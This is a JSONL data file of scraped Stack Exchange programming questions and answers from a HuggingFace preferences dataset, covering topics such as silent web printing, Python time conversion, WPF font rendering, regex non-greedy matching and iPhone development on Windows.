"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.202118"}
{"id": "hf_cdb08b5ea719", "question": "<p>I'm working on a web application that needs to prints silently -- that is without user involvement.  What's the best way to accomplish this?  It doesn't like it can be done with strictly with Javascript, nor Flash and/or AIR.  The closest I've seen involves a Java applet.</p>\n\n<p>I can understand why it would a Bad Idea for just any website to be able to do this.  This specific instance is for an internal application, and it's perfectly acceptable if the user needs to add the URL to a trusted site list, install an addon, etc.</p>\n", "question_body": "", "answer": "I have to be honest, I am kinda thinking out loud here.. But could it not be done with  an applet or some sort (be it Java or whatever) that is given trusted permissions (such as that within the Intranet zone) or something?\nMay be worth investigating what permissions can be given to each zone?\nFollowing a Google, I think you definately have a challenge, so far most of the articles I have seen involve printing to\nprinters connected to the server\n.\nIf its internal, would it be possible to route printing from the server to department/user printers or something?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.226354"}
{"id": "hf_856d9ebfbabc", "question": "<p>Whilst analysing some legacy code with FXCop, it occurred to me is it really that bad to catch a general exception error within a try block or should you be looking for a specific exception.  Thoughts on a postcard please.</p>\n", "question_body": "", "answer": "Well, I don't see any difference between catching a general exception or a specific one, except that when having multiple catch blocks, you can react differently depending on what the exception is.\nIn conclusion, you will catch both\n```\nIOException\n```\nand\n```\nNullPointerException\n```\nwith a generic\n```\nException\n```\n, but the way your program should react is probably different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.261170"}
{"id": "hf_38bbf53c43ab", "question": "<pre><code>&gt;&gt;&gt; import time\n&gt;&gt;&gt; time.strptime(\"01-31-2009\", \"%m-%d-%Y\")\n(2009, 1, 31, 0, 0, 0, 5, 31, -1)\n&gt;&gt;&gt; time.mktime((2009, 1, 31, 0, 0, 0, 5, 31, -1))\n1233378000.0\n&gt;&gt;&gt; 60*60*24 # seconds in a day\n86400\n&gt;&gt;&gt; 1233378000.0 / 86400\n14275.208333333334\n</code></pre>\n\n<p><code>time.mktime</code> should return the number of seconds since the epoch. Since I'm giving it a time at midnight and the epoch is at midnight, shouldn't the result be evenly divisible by the number of seconds in a day?</p>\n", "question_body": "", "answer": "```\n```\nmktime(...)\n    mktime(tuple) -> floating point number\n\n    Convert a time tuple in local time to seconds since the Epoch.\n```\n```\nlocal time... fancy that.\nThe time tuple:\n```\n```\nThe other representation is a tuple of 9 integers giving local time.\nThe tuple items are:\n  year (four digits, e.g. 1998)\n  month (1-12)\n  day (1-31)\n  hours (0-23)\n  minutes (0-59)\n  seconds (0-59)\n  weekday (0-6, Monday is 0)\n  Julian day (day in the year, 1-366)\n  DST (Daylight Savings Time) flag (-1, 0 or 1)\nIf the DST flag is 0, the time is given in the regular time zone;\nif it is 1, the time is given in the DST time zone;\nif it is -1, mktime() should guess based on the date and time.\n```\n```\nIncidentally, we seem to be 6 hours apart:\n```\n```\n>>> time.mktime((2009, 1, 31, 0, 0, 0, 5, 31, -1))\n1233356400.0\n>>> (1233378000.0 - 1233356400)/(60*60)\n6.0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.296424"}
{"id": "hf_e41d9eb30796", "question": "<p>Could somebody please do a rundown of how to programmatically encrypt a config-file in .NET, preferably in C#.</p>\n\n<p>What I would like to do is do some kind of check on an application's startup to see if a section is unprotected, and if it is, then encrypt it. This for both settings and connection-strings.</p>\n\n<p>Also if anyone could list the types of encryption-providers and what is the difference between them.</p>\n\n<p>I don't know if the code for doing this in a normal WinForms-application is transparent to doing this in ASP.NET.</p>\n", "question_body": "", "answer": "There is a good article from 4 guys about\nEncrypting Configuration Information in ASP.NET 2.0 Applications\nHope this helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.319719"}
{"id": "hf_aa43080cd287", "question": "<p>Anti aliasing <a href=\"http://forums.msdn.microsoft.com/en-US/wpf/thread/1ad9a62a-d1a4-4ca2-a950-3b7bf5240de5\" rel=\"noreferrer\">cannot be turned off</a> in WPF. But I want to remove the blurred look of WPF fonts when they are small. </p>\n\n<p>One possibility would be to use a .net 2.0 component. This looks like it would lose the transparency capability and Blend support. Never tried it though.</p>\n\n<p>Anyone has a solution for this? Any drawbacks from it?</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "Have you tried putting a\nWindowsFormsHost\ncontrol on a WPF window/control? That will allow WPF to render a WinForms control.\nUPDATE November 2012\n: This question and answer is 4 years old.\nText rendering has since improved in WPF\n. Please don't put WinForms controls in WPF apps; that was a hackish way to fix font rendering. It's no longer needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.368238"}
{"id": "hf_6948a0d1112a", "question": "<p>I've created a map system for a game that runs on the principle of drawing the picture of the map from tiles. There are many reasons for this which I won't go into here but if you really want to know then I'm sure you can find out how to contact me ;)</p>\n\n<p>I have <a href=\"http://woarl.com/board/rob.php?mode=map&amp;x=-1&amp;y=9&amp;w=2&amp;h=2\" rel=\"noreferrer\">made the latest version live</a> so you can see exactly where the problem lies and the source. The issue is the line between the top 2 tiles and the bottom 2 tiles, I can't figure out why it's gone like this and any help would be appreciated.</p>\n\n<p>In the source is a marker called \"stackoverflow\", if you search for \"stackoverflow\" when viewing source then it should take you to the table in question.</p>\n\n<p>I have also uploaded an <a href=\"http://woarl.com/badMap.png\" rel=\"noreferrer\">image of the issue</a>.</p>\n", "question_body": "", "answer": "I know this might sound bad, but you need to ensure there is no whitespace between then end of you\n```\n<img>\n```\ntag and the start of the end\n```\n</td>\n```\ntag.\ni.e. The following will present the problem:\n```\n```\n<td>\n <img src=\"image.jpg\"/>\n</td>\n```\n```\nAnd this will not:\n```\n```\n<td><img src=\"image.jpg\"/></td>\n```\n```\nHope that helps.\nEdit: OK, that wasn't the solution at all. doh!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.391169"}
{"id": "hf_f37b81dab7eb", "question": "<p>I'm learning objective-C and Cocoa. In the Apple tutorial I'm working through there's a side note that says: </p>\n\n<blockquote>\n  <p><code>IBOutlet</code> is a null-defined macro, which the C preprocessor removes at compile time.</p>\n</blockquote>\n\n<p>I'm curious - what's a null-defined macro?</p>\n", "question_body": "", "answer": "```\n```\n#define IBOutlet\n```\n```\nWhenever IBOutlet is used in program text, it will be replaced with nothing at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.412247"}
{"id": "hf_67062076d149", "question": "<p>My application dynamically loads assemblies at runtime from specific subfolders. These assemblies are compiled with dependencies to other assemblies. The runtime trys to load these from the application directory. But I want to put them into the modules directory.</p>\n\n<p>Is there a way to tell the runtime that the dlls are in a seperate subfolder?</p>\n", "question_body": "", "answer": "You can use the\n```\n<probing>\n```\nelement in a manifest file to tell the Runtime to look in different directories for its assembly files.\nhttp://msdn.microsoft.com/en-us/library/823z9h8w.aspx\ne.g.:\n```\n```\n<configuration>\n <runtime>\n  <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\n     <probing privatePath=\"bin;bin2\\subbin;bin3\"/>\n  </assemblyBinding>\n </runtime>\n</configuration>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.445564"}
{"id": "hf_236c4b770c69", "question": "<p>Has anybody used the MS Project Gantt chart control in C#?\nIf yes, can you share some resources regarding this?</p>\n", "question_body": "", "answer": "Try these links for a start.\nhttp://www.ilog.com/products/ganttnet/\nhttp://www.netronic.com/products-for-developers/gantt-charts.html?gclid=COLdutasoZUCFQunQwodoWOPkw", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.491173"}
{"id": "hf_b156fd09c979", "question": "<p>I am writing a Java utility that helps me to generate loads of data for performance testing. It would be <em>really</em> cool to be able to specify a regex for Strings so that my generator spits out things that match this.</p>\n<p>Is something out there already baked that I can use to do this?  Or is there a library that gets me most of the way there?</p>\n", "question_body": "", "answer": "You'll have to write your own parser, like the author of String::Random (Perl) did. In fact, he doesn't use regexes anywhere in that module, it's just what perl-coders are used to.\nOn the other hand, maybe you can have a look at\nthe source\n, to get some pointers.\nEDIT: Damn, blair beat me to the punch by 15 seconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.535724"}
{"id": "hf_c16cc6b604de", "question": "<p>I've been using user controls extensively but never use a HttpHandler and was wondering if I am doing something suboptimal or wrong</p>\n", "question_body": "", "answer": "Unfortunately your question is a little like \"Should I use a sandwich or a cement mixer\".  HttpHandlers and User controls are completely different things.\nHttpHandlers are used to process HTTP requests.  For example, if you wanted to dynamically create an RSS feed, you could write an HTTP handler that handles all requests for \".rss\" files, creates the output and sends it back to the user.\nUser controls are used within ASPX pages to encapsulate units of functionality that you want to re-use accross many pages.\nChances are, if you're using user controls successfully, you don't want to use HttpHandlers!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.614865"}
{"id": "hf_6cc88ba69145", "question": "<p>I am just starting to play with Django/Python and am trying to shift into the MTV mode of programming that Django asks for (insists on).  Deciding on what functions should be methods of a model vs simple being a function in a view has so far been confusing.  Does anyone know of a book, website, blog, slideshow, whatever that discusses Web Framework programming in more general, abstract terms?  I imagine just a book on object oriented programming would do it, but I feel like that would be overkill - I was looking for something web framework specific.</p>\n", "question_body": "", "answer": "If you aren't absolutely set on diving into Django and don't mind trying something else as a start, you might want to give\nWSGI\na shot, which allows you to template your application your own way using a\nthird party engine\n, rather than having to go exactly by Django's rules.  This also allows you to peek at a lower level of handling requests, so you get a bit better understanding of what Django is doing under the hood.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.673181"}
{"id": "hf_95f865370008", "question": "<p>I have multiple projects in a couple of different workspaces. However, it seems like I can never figure out how to change my current workspace. The result is that files that I have checked out on my machine are shown to be checked out by somebody else and are not accessible.</p>\n", "question_body": "", "answer": "I don't entirely understand your question.\nAre you saying that files you check out on one machine seems to be unaccessible on another of your machines? I'd say that would be entirely by design, as now you have a file that has local modifications done on one machine, which may or may not be available on your other machines.\nWhen you say\nchecked out by somebody else\n, what does that mean exactly? How are you verifying this, what are you looking at?\nOr do you mean something else? In that case, please elaborate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.720949"}
{"id": "hf_a25cd40d025e", "question": "<p>Does anyone know of a disassembler for <em>ARMV4i</em> executables and DLLs?</p>\n\n<p>I've got a plug-in DLL I'm writing with a very rare <code>data abort</code> (&lt;5% of the time) that I have narrowed down to a specific function (via dumpbin and the address output by the <code>data abort</code>).  However, it is a fairly large function and I would like to narrow it down a little.  I know it's happening in a <code>memset()</code> call, but that particular function has about 35 of them, so I was hoping that by looking at the disassembly I could figure out where about the problem actually is.</p>\n", "question_body": "", "answer": "A couple of years ago I found an ARM disassembler I used while doing some embedded work. However, I don't remember its name - though I think it was part of a larger package like an emulator or something.\nIn your case, could you ask your compiler to generate an assembly listing of the compiled code? That might help give you some scope.\nFailing that, you could break up your function into one or more new functions, if all you can get is the stack trace. Then break up the new function into one or more again. This is the tried-and-true \"divide and conquer\" method. And if you have 35 calls to memset() in one function, it might be a good idea from a design standpoint too!\nUpdate: I found the package I used:\nARMphetamine\n. It worked for the ARM9 code I was developing, but it looks like it hasn't been updated in quite some time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.792340"}
{"id": "hf_2371485a18e8", "question": "<p>I've got a problem similar to,but subtly different from, that described <a href=\"https://stackoverflow.com/questions/22012/loading-assemblies-and-its-dependencies\">here</a> (Loading assemblies and their dependencies).</p>\n\n<p>I have a C++ DLL for 3D rendering that is what we sell to customers. For .NET users we will have a CLR wrapper around it. The C++ DLL can be built in both 32 and 64bit versions, but I think this means we need to have two CLR wrappers since the CLR binds to a specific DLL? </p>\n\n<p>Say now our customer has a .NET app that can be either 32 or 64bit, and that it being a pure .NET app it leaves the CLR to work it out from a single set of assemblies. The question is how can the app code dynamically choose between our 32 and 64bit CLR/DLL combinations at run-time?</p>\n\n<p>Even more specifically, is the suggested answer to the aforementioned question applicable here too (i.e. create a ResolveEvent handler)?</p>\n", "question_body": "", "answer": "I encountered a similar scenario a while back. A toolkit I was using did not behave well in a 64-bit environment and I wasn't able to find a way to dynamically force the assemblies to bind as 32 bit.\nIt is possible to force your assemblies to work in 32 bit mode, but this requires patching the CLR header, (there is a tool that does that in the Framework) and if your assemblies are strongly-named, this does not work out.\nI'm afraid you'll need to build and publish two sets of binaries for 32 and 64 bit platforms.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.850582"}
{"id": "hf_7f91cd2e55c4", "question": "<p>I am trying to <strong>replace the current selection in Word (2003/2007)</strong> by some <strong>RTF string</strong> stored in a variable.</p>\n\n<p>Here is the current code:</p>\n\n<pre><code>Clipboard.SetText(strRTFString, TextDataFormat.Rtf)\noWord.ActiveDocument.ActiveWindow.Selection.PasteAndFormat(0)\n</code></pre>\n\n<p>Is there any way to do the same thing without going through the clipboard. Or is there any way to push the clipboard data to a safe place and restore it after?</p>\n", "question_body": "", "answer": "You can use a RichTextbox to convert RTF to text or vice versa.\n```\n```\nRichTextBox r = new RichTextBox();\nr.Rtf = strRTFString;\nConsole.WriteLine(r.Text);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.874223"}
{"id": "hf_5c2f02bb996b", "question": "<p>I flatter myself that I'm a good programmer, and can get away with graphic design. But something I'm incapable of doing is coming up with good names - and it seems neither are the people I work with. We're now in the slightly ludicrous situation that the product we've been working on for a couple of years is being installed to customers, is well received and is making money - but doesn't yet have a name.</p>\n\n<p>We're too small a company to have anything like a proper marketing division to do this thing. So how have people tended to choose names, logos and branding?</p>\n", "question_body": "", "answer": "You should try\nBustaName\n.  It basically combines words to create available domain names.  You are able to choose similar words for the words that you previously entered.\nAlso try these links out:\nNaming a company\n77 ways to come up with an idea\nIgor Naming Guide\n(PDF)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.897870"}
{"id": "hf_7a0ec3f10cc8", "question": "<p>I find that the .NET event model is such that I'll often be raising an event on one thread and listening for it on another thread.  I was wondering what the cleanest way to marshal an event from a background thread onto my UI thread is.</p>\n\n<p>Based on the community suggestions, I've used this:</p>\n\n<pre><code>// earlier in the code\nmCoolObject.CoolEvent+= \n           new CoolObjectEventHandler(mCoolObject_CoolEvent);\n// then\nprivate void mCoolObject_CoolEvent(object sender, CoolObjectEventArgs args)\n{\n    if (InvokeRequired)\n    {\n        CoolObjectEventHandler cb =\n            new CoolObjectEventHandler(\n                mCoolObject_CoolEvent);\n        Invoke(cb, new object[] { sender, args });\n        return;\n    }\n    // do the dirty work of my method here\n}\n</code></pre>\n", "question_body": "", "answer": "I shun redundant delegate declarations.\n```\n```\nprivate void mCoolObject_CoolEvent(object sender, CoolObjectEventArgs args)\n{\n    if (InvokeRequired)\n    {\n        Invoke(new Action<object, CoolObjectEventArgs>(mCoolObject_CoolEvent), sender, args);\n        return;\n    }\n    // do the dirty work of my method here\n}\n```\n```\nFor non-events, you can use the\n```\nSystem.Windows.Forms.MethodInvoker\n```\ndelegate or\n```\nSystem.Action\n```\n.\nEDIT: Additionally, every event has a corresponding\n```\nEventHandler\n```\ndelegate so there's no need at all to redeclare one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.963723"}
{"id": "hf_3ba3b8f37118", "question": "<p>Is there any way to tinker with the iPhone SDK on a Windows machine? Are there plans for an iPhone SDK version for Windows?</p>\n\n<p>The only other way I can think of doing this is to run a Mac VM image on a <strong>VMWare</strong> server running on Windows, although I'm not too sure how legal this is.</p>\n", "question_body": "", "answer": "It's certainly possible to develop on a Windows machine, in fact, my first application was exclusively developed on the old Dell Precision I had at the time :)\nThere are three routes;\nInstall\nOSx86\n(aka iATKOS / Kalyway) on a second partition/disk and dual boot.\nRun Mac OS X Server under VMWare (Mac OS X 10.7 (Lion) onwards, read the update below).\nUse a framework and/or toolset, which allows developing on Windows, like Delphi XE4 with the mac-in-cloud service, which can build without MacOS device need. This is a commercial toolset, but the component and lib support is growing.\nOther honorable mentions are\nFlutter\n,\nXamarin\nand similar; which may at end need actual MacOS device for final build (but you can test on Android till then, as they're cross-platform).\nThe first route requires modifying (or using a pre-modified) image of Leopard that can be installed on a regular PC. This is not as hard as you would think, although your success/effort ratio will depend upon how closely the hardware in your PC matches that in Mac hardware - e.g. if you're running a Core 2 Duo on an Intel Motherboard, with an NVidia graphics card you are laughing. If you're running an AMD machine or something without SSE3 it gets a little more involved.\nIf you purchase (or already own) a version of Leopard then this is a gray area since the Leopard EULA states you may only run it on an \"Apple Labeled\" machine. As many point out if you stick an Apple sticker on your PC you're probably covered.\nThe second option is more costly. The EULA for the workstation version of Leopard prevents it from being run under emulation and as a result, there's no support in VMWare for this. Leopard server, however, CAN be run under emulation and can be used for desktop purposes. Leopard server and VMWare are expensive, however.\nIf you're interested in option 1) I would suggest starting at\nInsanelymac\nand reading the OSx86 sections.\nI do think you should consider whether the time you will invest is going to be worth the money you will save though. It was for me because I enjoy tinkering with this type of stuff and I started during the early iPhone betas, months before their App Store became available.\nAlternatively, you could pick up a low-spec Mac Mini from eBay. You don't need much horsepower to run the SDK and you can always sell it on later if you decide to stop development or buy a better Mac.\nUpdate: You cannot create a Mac OS X Client virtual machine for OS X 10.6 and earlier. Apple does not allow these Client OSes to be virtualized. With Mac OS X 10.7 (Lion) onwards, Apple has changed its licensing agreement in regards to virtualization. Source:\nVMWare KnowledgeBase", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:56.986601"}
{"id": "hf_9b5061286ccc", "question": "<p>I'm wondering how you can implement a program similar to <code>tail -f</code> in C/C++, a program that watches for and processes new lines added to a log file?</p>\n", "question_body": "", "answer": "See here\nYou could either call out to tail and retrieve the stream back into your app, or as it's open source, maybe try to pull it into your own code.\nAlso, it is possible in C++ iostream to open a file for viewing only and just read to the end, while buffering the last 10-20 lines, then output that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.011570"}
{"id": "hf_8b32d68d6d1f", "question": "<p>I'm looking at the <a href=\"http://www.php.net/manual/en/\" rel=\"noreferrer\">PHP Manual</a>, and I'm not seeing a section on data structures that most languages have, such as lists and sets. Am I just blind or does PHP not have anything like this built in?</p>\n", "question_body": "", "answer": "PHP has arrays, which are actually associative arrays and can also be used as sets. Like many interpreted languages, PHP offers all this under one hood instead of providing different explicit data types.\nE.g.\n```\n```\n$lst = array(1, 2, 3);\n$hsh = array(1 => \"This\", 2 => \"is a\", 3 => \"test\");\n```\n```\nAlso, take a look\nin the manual\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.033503"}
{"id": "hf_cbef721780a4", "question": "<p>I have a need to convert images from CMYK to RGB - not necessarily back again, but hey, if it can be done...</p>\n\n<p>With the release of ColdFusion 8, we got the <a href=\"http://cfquickdocs.com/cf8/?getDoc=cfimage\" rel=\"nofollow noreferrer\">CFImage</a> tag, but it doesn't support this conversion; and nor does <a href=\"http://x.com\" rel=\"nofollow noreferrer\">Image.cfc</a>, or <a href=\"http://x.com\" rel=\"nofollow noreferrer\">Alagad's Image Component</a>.</p>\n\n<p>However, it should be possible in Java; which we can leverage through CF. For example, here's how you might create a Java thread to sleep a process:</p>\n\n<pre><code>&lt;cfset jthread = createObject(\"java\", \"java.lang.Thread\")/&gt;\n&lt;cfset jthread.sleep(5000)/&gt;\n</code></pre>\n\n<p>I would guess a similar method could be used to leverage java to do this image conversion, but not being a Java developer, I don't have a clue where to start. Can anyone lend a hand here?</p>\n", "question_body": "", "answer": "A very simple formula for converting from CMYK to RGB ignoring all color profiles is:\n```\nR = ( (255-C)*(255-K) ) / 255;\n    G = ( (255-M)*(255-K) ) / 255;\n    B = ( (255-Y)*(255-K) ) / 255;\n```\nThis code requires CMYK values to be in rage of 0-255. If you have 0 to 100 or 0.0 to 1.0 you'll have to convert the values.\nHope this will get you started.\nAs for the java and ColdFusion interfacing, I'm sorry, but I have no idea how to do that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.067381"}
{"id": "hf_2965fae5322e", "question": "<p>I am looking for information on handling search in different ORMs.</p>\n\n<p>Currently I am redeveloping some old application in PHP and one of requirements is: make everything or almost everything searchable, so user just types \"punkrock live\" and the app finds videos clips, music tracks, reviews, upcoming events or even user comments labeled that way.</p>\n\n<p>In environment where everything is searchable ORM need to support this feature in two ways:</p>\n\n<ul>\n<li>providing some indexing API on \"O\" side of ORM</li>\n<li>providing means for bulk database retrieval on \"R\" side</li>\n</ul>\n\n<p>Ideal solution would return ready made objects based on searched string.\nDo you know any good end-to-end solutions that does the job, not necessarily in PHP?\nIf you dealt with similar problem it would be nice to listen what your experience is. Something more than <em>Use Lucene</em> or <em>semantic web is the way</em> oneliners, tho ;-)*</p>\n", "question_body": "", "answer": "I have recently integrated the\nCompass\nsearch engine into a Java EE 5 application. It is based on\nLucene Java\nand supports different ORM frameworks as well as other types of models like XML or no real model at all ;)\nIn the case of an object model managed by an ORM framework you can annotate your classes with special annotations (e.g. @Searchable), register your classes and let Compass index them on application startup and listen to changes to the model automatically.\nWhen it comes to searching, you have the power of Lucene at hand. Compass then gives you instances of your model objects as search result.\nIt's not PHP, but you said it didn't have to be PHP necessarily ;) Don't know if this helps, though...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.138932"}
{"id": "hf_d01eec5e4ebf", "question": "<p>I have this gigantic ugly string:</p>\n<pre class=\"lang-none prettyprint-override\"><code>J0000000: Transaction A0001401 started on 8/22/2008 9:49:29 AM\nJ0000010: Project name: E:\\foo.pf\nJ0000011: Job name: MBiek Direct Mail Test\nJ0000020: Document 1 - Completed successfully\n</code></pre>\n<p>I'm trying to extract pieces from it using regex. In this case, I want to grab everything after <code>Project Name</code> up to the part where it says <code>J0000011:</code> (the 11 is going to be a different number every time).</p>\n<p>Here's the regex I've been playing with:</p>\n<pre class=\"lang-none prettyprint-override\"><code>Project name:\\s+(.*)\\s+J[0-9]{7}:\n</code></pre>\n<p>The problem is that it doesn't stop until it hits the <strong>J0000020:</strong> at the end.</p>\n<p>How do I make the regex stop at the first occurrence of <code>J[0-9]{7}</code>?</p>\n", "question_body": "", "answer": "Make\n```\n.*\n```\nnon-greedy by adding '\n```\n?\n```\n' after it:\n```\n```\nProject name:\\s+(.*?)\\s+J[0-9]{7}:\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.163013"}
{"id": "hf_9a40fe7727b0", "question": "<p>I'm going to be working on some iPhone apps so I've been given a golden ticket to buy a Mac. However the golden ticket isn't worth that much, and I'm thinking iMac. Now, Macs are great, I love 'em and use 'em at home, but I know that the iMac is geared more towards the average consumer than the professional. Is an iMac going to be powerful enough to do iPhone development on?</p>\n\n<p>If it helps any, the only thing I envision doing on the Mac is running XCode and maybe a web browser.</p>\n\n<p>Is there anybody out there doing iPhone development and having trouble running the required tools on their machine? If so, what do you have?</p>\n", "question_body": "", "answer": "I run XCode on a 17\" iMac (2 yrs old) with 2GB of RAM and haven't had any trouble.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.226250"}
{"id": "hf_78e7c41a1e73", "question": "<p>How do I select all records that contain \"LCS\" within the title column in sql.</p>\n", "question_body": "", "answer": "```\n```\nSELECT * FROM TABLE WHERE TABLE.TITLE LIKE '%LCS%';\n```\n```\n% is the wild card matcher.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.250076"}
{"id": "hf_bc848b840792", "question": "<p>I have a regex that is going to end up being a bit long and it'd make it much easier to read to have it across multiple lines.</p>\n\n<p>I tried this but it just barfs.</p>\n\n<pre><code>preg_match(\n    '^J[0-9]{7}:\\s+\n    (.*?)             #Extract the Transaction Start Date msg\n    \\s+J[0-9]{7}:\\s+Project\\sname:\\s+\n    (.*?)             #Extract the Project Name\n    \\s+J[0-9]{7}:\\s+Job\\sname:\\s+\n    (.*?)             #Extract the Job Name\n    \\s+J[0-9]{7}:\\s+',\n    $this-&gt;getResultVar('FullMessage'),\n    $atmp\n);\n</code></pre>\n\n<p>Is there are way to pass a regex in the above form to preg_match?</p>\n", "question_body": "", "answer": "You can use the extended syntax:\n```\n```\npreg_match(\"/\n    test\n/x\", $foo, $bar);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.356314"}
